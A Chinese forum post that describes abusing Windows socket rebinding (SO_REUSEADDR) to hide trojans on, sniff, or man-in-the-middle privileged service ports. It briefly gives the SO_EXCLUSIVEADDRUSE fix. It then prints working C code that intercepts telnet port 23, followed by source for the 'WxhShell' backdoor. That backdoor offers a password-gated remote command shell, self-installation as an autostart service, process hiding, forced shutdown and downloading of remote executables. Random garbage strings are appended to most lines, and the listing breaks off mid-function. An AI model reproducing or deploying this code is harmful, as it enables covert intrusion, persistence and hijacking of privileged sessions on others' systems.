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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =L~,HS(l,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FY"!%)TV  
7NG^X"N{Ul  
  saddr.sin_family = AF_INET; )mO|1IDTN  
b{H&%Jx)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6L@g]f|Y@  
=!3G,qV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GCul6,w  
Q7]:vs)%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |YjuaXd7N  
RW 23lRA6  
  这意味着什么?意味着可以进行如下的攻击: jYKs| J)[  
LLOe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )_!t9gn*wr  
>*%ySlZbs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JBQ,rX_Hw  
R{S{N2+p(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M@@"-dy  
bG nBV7b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =g' 7 xA  
Mj5=t:MI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ni IX^&N1  
m;o \.s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *=}$@O S  
Gad! }dz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^!H8"CdC3  
'3=[xVnv  
  #include Uxx=$&#  
  #include OIB~ W  
  #include qNER 6  
  #include    %t M]|!yw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s9) @$3\  
  int main() WQ4:='(  
  { 4A0R07"  
  WORD wVersionRequested; e#L/  
  DWORD ret; 7dI+aJ  
  WSADATA wsaData; Sj{z  
  BOOL val; VR5$[-E3  
  SOCKADDR_IN saddr; $Hqm 09w  
  SOCKADDR_IN scaddr; S:{hgi,T*  
  int err; [r_,BH\nu  
  SOCKET s; m *8[I  
  SOCKET sc; O?NAbxkp  
  int caddsize; lwPK^)|}  
  HANDLE mt; I"*g-ji0  
  DWORD tid;   /HH5Mn*  
  wVersionRequested = MAKEWORD( 2, 2 ); (qHI>3tpY  
  err = WSAStartup( wVersionRequested, &wsaData ); T#?KY  
  if ( err != 0 ) { {y=H49  
  printf("error!WSAStartup failed!\n"); oz%ZEi \bW  
  return -1; "XMTj <D  
  } N8:?Z#z  
  saddr.sin_family = AF_INET; nU%rSASu  
   [(}f3W&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6 grJoim|  
tUv@4<~,/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t`03$&Cx7  
  saddr.sin_port = htons(23); rs2~spN;h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %stZ'IX  
  { a?E]-Zf  
  printf("error!socket failed!\n"); ?sDm~]Z  
  return -1; yd5r]6ej  
  } 2?rg&og6  
  val = TRUE; 3toY#!1Ch  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a9Lf_/w{&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `7}6  
  { ?rXh x{vD  
  printf("error!setsockopt failed!\n"); 3(%hHM7DM  
  return -1; !cT#G  
  } N5csq(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MzYTEe&-L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K$(&Qx}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3WS`,}  
i}ypEp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sLzcTGa2:z  
  { t*y4)I !gR  
  ret=GetLastError(); HY9H?T  
  printf("error!bind failed!\n"); kvv-f9/-  
  return -1; z~+_sTu  
  } r]Da4G^  
  listen(s,2); G+AD &EHV  
  while(1) j2deb`GD  
  { 6'395x_ .\  
  caddsize = sizeof(scaddr); K+Al8L?K_  
  //接受连接请求 "Q'#V!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jfZ(5Qu3.H  
  if(sc!=INVALID_SOCKET) ,XCC#F(d1  
  { :h0as!2@dp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v>.nL(VLjP  
  if(mt==NULL) cEi{+rfZd|  
  { |gx{un`  
  printf("Thread Creat Failed!\n"); l/[@1(F  
  break; JT&CJ&#[h  
  } :1eI"])(  
  } 3SVI|A5(d  
  CloseHandle(mt); O\pqZ`E=s  
  } kmNY ;b6Y$  
  closesocket(s); 3lhXD_Y  
  WSACleanup(); xeo;4c#S5  
  return 0; A2 qus$  
  }   8,=Ti7_  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4z Af|Je  
  { EonZvT-D=  
  SOCKET ss = (SOCKET)lpParam; FIlw  
  SOCKET sc; Fp+^`;j  
  unsigned char buf[4096]; uDK`;o'F  
  SOCKADDR_IN saddr; inZMq(_@$  
  long num; <|k!wfHL  
  DWORD val; D}vgXzD  
  DWORD ret; KM< +9`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >FFZ8=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?tE}89c  
  saddr.sin_family = AF_INET; ^i&/k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rw8O<No4.o  
  saddr.sin_port = htons(23); {o+aEMhM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NwD*EuPF:  
  { N+\#k*n?  
  printf("error!socket failed!\n"); 26>e0hBh&  
  return -1; 9z\q_ 0&i  
  } =t<!W  
  val = 100; B~-VGT 2o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ch1EF/"  
  { ./jkY7 k  
  ret = GetLastError(); mLPQ5`_  
  return -1; qD7(+a  
  } HcUivC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 39S}/S)  
  { ii2X7Q  
  ret = GetLastError(); X|L.fB=  
  return -1; `hM`bcS  
  } ~^$ONmI5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Thn-8DT  
  { ^=bJ _'  
  printf("error!socket connect failed!\n"); huWUd)Po%  
  closesocket(sc);  /8Bh  
  closesocket(ss); ,~X^8oY  
  return -1; V!3G\*$?  
  } M3K+;-n^  
  while(1) m@.4Wrv  
  { #l2wF>0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x`{ni6}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [ hm/B`t*e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `(H]aTLt ,  
  num = recv(ss,buf,4096,0); VaJX,Q  
  if(num>0) WTA0S}pT  
  send(sc,buf,num,0); wWY6DQQB  
  else if(num==0) fU!C:  
  break; l6Ze6X I  
  num = recv(sc,buf,4096,0); ?JzLn,&  
  if(num>0) g?A4C`l6iy  
  send(ss,buf,num,0); Ig"Krz  
  else if(num==0) 5oGnPF  
  break; knh^q;q*  
  } @]6)j&  
  closesocket(ss); zOLt)2-<  
  closesocket(sc);  3Fo,F  
  return 0 ; 50rCW)[#  
  } =bded(3Z  
W>K2d  
zv  <,  
========================================================== r-^Ju6w{  
ggVB8QN{  
下边附上一个代码,,WXhSHELL Ag }hyIl  
?qAX *j  
========================================================== ]n${j/x  
Ec8Y}C,{7<  
#include "stdafx.h" cInzwdh7  
BqvOi~ l  
#include <stdio.h> )_ NQ*m  
#include <string.h> FgE6j;   
#include <windows.h> D *Siy;  
#include <winsock2.h> \! Os!s  
#include <winsvc.h>  DC]FY|ff  
#include <urlmon.h> g v&xC 6>  
+z+25qWi  
#pragma comment (lib, "Ws2_32.lib") ^(V!vI*  
#pragma comment (lib, "urlmon.lib") rs~RKTv-  
;EW]R9HCH  
#define MAX_USER   100 // 最大客户端连接数 ~PHAC@pU  
#define BUF_SOCK   200 // sock buffer W!4GL>9m}A  
#define KEY_BUFF   255 // 输入 buffer }(Nb]_H  
QL-((dZ<  
#define REBOOT     0   // 重启 7F4$k4r<  
#define SHUTDOWN   1   // 关机 dZ9[wkn  
Os*,@N3t  
#define DEF_PORT   5000 // 监听端口 yi"V'Us  
{{ R/:-6?@  
#define REG_LEN     16   // 注册表键长度 *oY59Yf  
#define SVC_LEN     80   // NT服务名长度 QJTGeJ Y  
t2BkQ8vr  
// 从dll定义API bICi'`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MkC25  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W~.1f1)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WfhQi;r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 !E* >  
Q pz01x  
// wxhshell配置信息 8~ .r/!wfy  
struct WSCFG { >sm< < gVb  
  int ws_port;         // 监听端口 A{: a kK  
  char ws_passstr[REG_LEN]; // 口令 Z=z'j8z3  
  int ws_autoins;       // 安装标记, 1=yes 0=no |08tQ  
  char ws_regname[REG_LEN]; // 注册表键名 ;s3"j~5m)  
  char ws_svcname[REG_LEN]; // 服务名 <#7}'@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~YlbS-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AVOqW0Z+y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8 fVI33  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2Q|Vg*x\U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j()_ VoB1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M< *5Y43  
U.crRrN  
}; j{7_p$JM  
PD|I3qv~  
// default Wxhshell configuration KOV^wSwS  
struct WSCFG wscfg={DEF_PORT, 6G/)q8'G  
    "xuhuanlingzhe", ?WG9}R[qE/  
    1, qe"5&cc1  
    "Wxhshell", _Jj|g9b  
    "Wxhshell", :V HJD  
            "WxhShell Service", 5G_*T  
    "Wrsky Windows CmdShell Service", <& 8cq@<  
    "Please Input Your Password: ", 2"'0OQN0\  
  1, TA`*]*O(  
  "http://www.wrsky.com/wxhshell.exe", GTYGm  
  "Wxhshell.exe" D(~6h,=m  
    }; |LcN_ ,}6  
8/-GrdyE  
// 消息定义模块 \kzxt/Ow  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G( nT.\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I=D`:u\H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; > 9JzYI^  
char *msg_ws_ext="\n\rExit."; _ Eq:Qbw#  
char *msg_ws_end="\n\rQuit."; \$VtwVQ,b  
char *msg_ws_boot="\n\rReboot..."; |C=^:@}ri?  
char *msg_ws_poff="\n\rShutdown..."; X3!btxa% t  
char *msg_ws_down="\n\rSave to "; bRLmJt98P  
lR{eO~'~V  
char *msg_ws_err="\n\rErr!"; jzI\Q{[m'  
char *msg_ws_ok="\n\rOK!"; ~~;fWM '  
GJy><'J,!>  
char ExeFile[MAX_PATH]; f>\?\!  
int nUser = 0; ro}plK(<WQ  
HANDLE handles[MAX_USER]; >J3N,f  
int OsIsNt; ^gw_Up<e6  
>LgV[D#=&o  
SERVICE_STATUS       serviceStatus; UI<'T3b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hs2f3;)  
(vz)GrH>  
// 函数声明 :?@d\c '  
int Install(void); y:iE'SRRK6  
int Uninstall(void); HzQ6KYAMq  
int DownloadFile(char *sURL, SOCKET wsh); @-qxNw  
int Boot(int flag); kzLj1Ix2  
void HideProc(void);  n1y#gC  
int GetOsVer(void); r7C  m  
int Wxhshell(SOCKET wsl); GaSk &'n$Y  
void TalkWithClient(void *cs); +TpM7QaL  
int CmdShell(SOCKET sock); UB.FX  
int StartFromService(void); h[C!cX  
int StartWxhshell(LPSTR lpCmdLine); {h&*H[Z z  
yIXM}i:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fyYv}z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . 2.$Rq  
feIAgd},  
// 数据结构和表定义 }}cVPB7   
SERVICE_TABLE_ENTRY DispatchTable[] = BtBy.bR  
{ f|Z3VS0x  
{wscfg.ws_svcname, NTServiceMain}, >f'n l  
{NULL, NULL} ^-~.L: }q  
}; .Ky<9h.K  
/ w_ Sc{  
// 自我安装 H^K(1  
int Install(void) 'RQZU*8  
{ viD+~j18  
  char svExeFile[MAX_PATH]; , *e^,|#  
  HKEY key; 8BE OE<  
  strcpy(svExeFile,ExeFile); RW,ew!Z  
<rRm bFH#  
// 如果是win9x系统,修改注册表设为自启动 15iCJ p  
if(!OsIsNt) { vFL3eu#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,":"Op61  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T oy~\  
  RegCloseKey(key); :n0(gB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >]T(}S~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3s i=x\=/  
  RegCloseKey(key); ]pB0bJAt  
  return 0; :&6QKTX  
    } &5(|a"5+G  
  } gLl?e8[F  
} pF K[b  
else { z+PSx'#}  
_f|Au`7m  
// 如果是NT以上系统,安装为系统服务 D<L]'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C(?>l.QGw  
if (schSCManager!=0) ;)0vxcMB  
{ kQ.atr`?e  
  SC_HANDLE schService = CreateService EVgn^,  
  ( NZ{kjAd3c  
  schSCManager, L@CN0ezQs  
  wscfg.ws_svcname, jn]hqTy8  
  wscfg.ws_svcdisp, O4 \GL  
  SERVICE_ALL_ACCESS, |rW}s+Kcr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M`BD]{tN}  
  SERVICE_AUTO_START, ^=OjsN  
  SERVICE_ERROR_NORMAL,  t Z\  
  svExeFile, f:Nfw+/q  
  NULL, Q`5jEtu#,  
  NULL, *: e^yi  
  NULL, |oSyyDYWP  
  NULL, FLEf(  
  NULL :/~`"`#1  
  ); .X_k[l9  
  if (schService!=0) .g(yTA  
  { e<~uU9 lg1  
  CloseServiceHandle(schService); FxM`$n~K  
  CloseServiceHandle(schSCManager); HY5g>wv@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (}4tj4d  
  strcat(svExeFile,wscfg.ws_svcname); MyCX6+Ci)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @,M!&l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P8DJv-f`  
  RegCloseKey(key); 8@6:UR.)  
  return 0; ^5=}Y>EJO  
    } 0J@)?,V-.  
  } k W/3 Aq7r  
  CloseServiceHandle(schSCManager); G{+sC2  
} =zqOkC h$  
} k/?+jb  
ghbxRnU}  
return 1; n$5,B*  
} swi|   
&p8K0 |  
// 自我卸载 0RtqqNFD  
int Uninstall(void) 4K0N$9pd:  
{ P~ffgzP  
  HKEY key; B964#4& 9  
>I]t |RT])  
if(!OsIsNt) { TL]2{rf~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >/1.VT\E  
  RegDeleteValue(key,wscfg.ws_regname); "JJ )w0  
  RegCloseKey(key); IH}?CZ@{?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qFe|$rVVIl  
  RegDeleteValue(key,wscfg.ws_regname); 1@CI7j  
  RegCloseKey(key); ^B?{X|U37  
  return 0; ,GVHwTZ0`  
  } kSB)}q6a  
} RBt"7'  
} /}#z/m@bN  
else { ofcoNLX5c  
3|9) A+,#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =;dupz\7  
if (schSCManager!=0) n U$Lp`  
{ aina6@S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &IXr*I  
  if (schService!=0) UbY-)9==  
  { JY9Hqf  
  if(DeleteService(schService)!=0) { e#FaK^V  
  CloseServiceHandle(schService); j#-ZL-N  
  CloseServiceHandle(schSCManager); -a&wOn-W  
  return 0;  <gf:QX!  
  } ?v8RY,Q30  
  CloseServiceHandle(schService); ~}8 3\LI}  
  } 9zi/z_G  
  CloseServiceHandle(schSCManager); <MT_zET  
} ~u,g5  
} i1FFf[[L  
d /Zt}{  
return 1; 0/{-X[z  
} aJI>qk h?]  
1tQZyHc42;  
// 从指定url下载文件 #3kR}Amow  
int DownloadFile(char *sURL, SOCKET wsh) 2}~1poyi>  
{ #mx;t3ja7  
  HRESULT hr; c)iQ3_&=  
char seps[]= "/"; (;~[}"  
char *token; s8@fZ4  
char *file; Be8Gx  
char myURL[MAX_PATH]; @8n0GCv  
char myFILE[MAX_PATH]; Tk.MtIs)V}  
YDs/BF Z  
strcpy(myURL,sURL); _f^q!tP&d  
  token=strtok(myURL,seps); cl:*Q{(Cjk  
  while(token!=NULL) AGK+~EjL@  
  { g@B9i =  
    file=token; #\%Gr tM  
  token=strtok(NULL,seps); t~sW]<qjp  
  } ,dZ 9=]  
T_v  
GetCurrentDirectory(MAX_PATH,myFILE); x9-K}s]%  
strcat(myFILE, "\\"); wnt^WW=a[  
strcat(myFILE, file); ]y.,J  
  send(wsh,myFILE,strlen(myFILE),0); EU>@k{Qt  
send(wsh,"...",3,0); -_>c P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8ru@ 8|r  
  if(hr==S_OK) F3';oyy  
return 0; rAP+nh ans  
else N|1J@"H  
return 1;  78qf  
1;.}u= 8  
} 0IQu6 X  
5jx{O${u  
// 系统电源模块 OK3B6T5w=  
int Boot(int flag) wT*`Od8w  
{ IK~ur\3  
  HANDLE hToken; z_A%>E4  
  TOKEN_PRIVILEGES tkp; YJ rK oK}  
8'`&f &  
  if(OsIsNt) { Vk0O^o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cf0em!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FCqs'  
    tkp.PrivilegeCount = 1; Pbm ;@ V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wd~}O<"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9FPl  
if(flag==REBOOT) { Cv;z^8PZJz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `n5RDz/f0  
  return 0; z0g$+bhy  
} bgYM  
else { $Cc4Sggq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ; h/Y9uYn  
  return 0; _IT,>#ba  
} 8b6:n1<fn  
  } F^`sIrZvs  
  else { P5] cEZ n  
if(flag==REBOOT) { *$^M E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nU`vj`K   
  return 0;  "thfd"-  
} szmjp{g0  
else { Br-y`s~cP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #cjB <APY  
  return 0; #BT= K  
} UT[KwM{y  
} = 2My-%i  
{oz04KGsH  
return 1; v oC< /}E  
} |mMW"(~  
tkNuM0  
// win9x进程隐藏模块 ':.d,x)  
void HideProc(void) LjxTRtB_  
{ F\,3z7s  
Y`lC4*g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MzJ5_}  
  if ( hKernel != NULL ) "uZ'oN  
  { 8&dmH&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  0A pvuf1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >OiC].1   
    FreeLibrary(hKernel); ?;^_%XSQ*  
  } Y;-"Z  
zg8m(=k'  
return; IXd&$h]Lq  
} ~jF5%Gu  
|$bZO`^  
// 获取操作系统版本 $2;YJjz(  
int GetOsVer(void) pjbKMx  
{ _|*3uGo:  
  OSVERSIONINFO winfo; ;]<$p[m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mRQ F5W6  
  GetVersionEx(&winfo); .0\Wu+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y6:=2(]w<p  
  return 1; nNBxT+3*i  
  else KwpNS(]I  
  return 0; &y Vii^  
} d&R/fIm  
QKCk. 0Xe  
// 客户端句柄模块 Vfc 9 +T+  
int Wxhshell(SOCKET wsl) Mc76)  
{ xwK<f6H!y  
  SOCKET wsh; 8V~w3ssz  
  struct sockaddr_in client; XPWK"t0 1  
  DWORD myID; 9RR1$( f  
W e9C9)0  
  while(nUser<MAX_USER) HnOp*FP  
{ <7^_M*F9  
  int nSize=sizeof(client); Q v{q:=k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +yCIA\i#t6  
  if(wsh==INVALID_SOCKET) return 1; M=0I 3o}J  
TioI$?l>W(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N'2u`br4KP  
if(handles[nUser]==0) fa<83<.D  
  closesocket(wsh); nX?fj<oR|  
else <niHJ*  
  nUser++; '%K,A-7W  
  } L & PhABZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <([o4%  
u!{P{C  
  return 0; nM}X1^PiK"  
} #C !8a  
#kma)_X  
// 关闭 socket m"+9[d_u  
void CloseIt(SOCKET wsh) xx9qi^  
{ tLV9b %i(  
closesocket(wsh); yt_?4Hc"  
nUser--; o{zo-:>Jp  
ExitThread(0); {I(Euk>lR  
} S' TF7u  
A "S})  
// 客户端请求句柄 b/O~f8t  
void TalkWithClient(void *cs) ;Iv)J|*  
{ 7i 6-Hq  
UyK|KL  
  SOCKET wsh=(SOCKET)cs; <=jE,6_|  
  char pwd[SVC_LEN]; dc%+f  
  char cmd[KEY_BUFF]; $!KV]]  
char chr[1]; T4\,b  
int i,j; trgj]|?M  
DSET!F;PG  
  while (nUser < MAX_USER) { Kw-E%7gh4c  
% YU(,83(+  
if(wscfg.ws_passstr) { EJZl'CR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e ~*qi&,4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VN`2bp>5I  
  //ZeroMemory(pwd,KEY_BUFF); SjG=H%  
      i=0; 6 D~b9 e  
  while(i<SVC_LEN) { 4[+n;OI  
-?'u"*#1,  
  // 设置超时 m=j7 vb  
  fd_set FdRead; ds7I .Q'  
  struct timeval TimeOut; 2ht<"  
  FD_ZERO(&FdRead); dwJ'hg  
  FD_SET(wsh,&FdRead); MdEZ839J  
  TimeOut.tv_sec=8; X g.\B1d  
  TimeOut.tv_usec=0; r7w&p.?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Qt#6X|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mC J/gWDY  
=_Qt&B)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WR~uy|mX  
  pwd=chr[0]; G%rK{h  
  if(chr[0]==0xd || chr[0]==0xa) { =%$ _)=}J  
  pwd=0; ]6$NU [  
  break; r=qb[4HiV  
  } yuKfhg7  
  i++; R.> /%o  
    } "C}nS=]8m  
QLIm+)T  
  // 如果是非法用户,关闭 socket oOQnV(I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $Ce`(/  
} d!w32Y,.  
#i:p,5~")  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uX`Jc:1q3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "&L<u0KHG  
yUEUIPL  
while(1) { ,:;nq>;  
d \0K 3=h  
  ZeroMemory(cmd,KEY_BUFF); _!w# {5~  
Ak>RLD25_  
      // 自动支持客户端 telnet标准   =X-$k k  
  j=0; 0~n= |3*P  
  while(j<KEY_BUFF) { ^HC! my  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iFga==rw  
  cmd[j]=chr[0]; }5DyNfZ]+0  
  if(chr[0]==0xa || chr[0]==0xd) { (Rs<'1+>  
  cmd[j]=0; \<;/)!Nmw  
  break; O^sgUT1O  
  } }t"!I\C  
  j++; %{o5 }TqD  
    } VWbgusxJ  
) `;?%N\  
  // 下载文件 M# S:'WN  
  if(strstr(cmd,"http://")) { LH<--#K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c#U x{^ZE  
  if(DownloadFile(cmd,wsh)) <lv:mqV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2R|2yAh  
  else =B;rj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !m]76=@  
  } >I!dJH/gj  
  else { a=C?fh  
k]I<%  
    switch(cmd[0]) { ]RGun GJ  
  %;ny  
  // 帮助 :vV?Yv%P)n  
  case '?': { bpKb<c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !f_Kq$.{  
    break; Q.vtU%T  
  } I /> .P  
  // 安装 |@V<}2zCZ  
  case 'i': { c$ 1ez  
    if(Install()) &8~U&g6C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:GoS?Ma  
    else dL[mX .j"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5r`g6@  
    break; ! =|{  
    } gzl_  "j  
  // 卸载 5n?fZ?6(  
  case 'r': { 6;5}% B:#h  
    if(Uninstall()) xr.fZMOh4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }bjTb!  
    else .5_w^4`b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7\5 [lM  
    break; Pu}r` E_  
    } #!Kg?BR2  
  // 显示 wxhshell 所在路径 b"{7f   
  case 'p': { W 4 )^8/  
    char svExeFile[MAX_PATH]; O:k@'&  
    strcpy(svExeFile,"\n\r"); ]6 }|X#_  
      strcat(svExeFile,ExeFile); F<G.!Y8!&  
        send(wsh,svExeFile,strlen(svExeFile),0); z[CCgs&vqe  
    break; `[CXxp  
    } /UM9g+Bb  
  // 重启 W}JJaZR*X  
  case 'b': { njvmf*A?S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'B6D&xn'%&  
    if(Boot(REBOOT)) O+z-6:`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Z.>)R4  
    else { udW, P  
    closesocket(wsh); =p^*y-z  
    ExitThread(0); [.|tD  
    } a-8~f8na{(  
    break; ]Alu~Dw  
    } # Wh"_zpM+  
  // 关机 gp(w6 :w  
  case 'd': { }2JSa8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "&v?>  
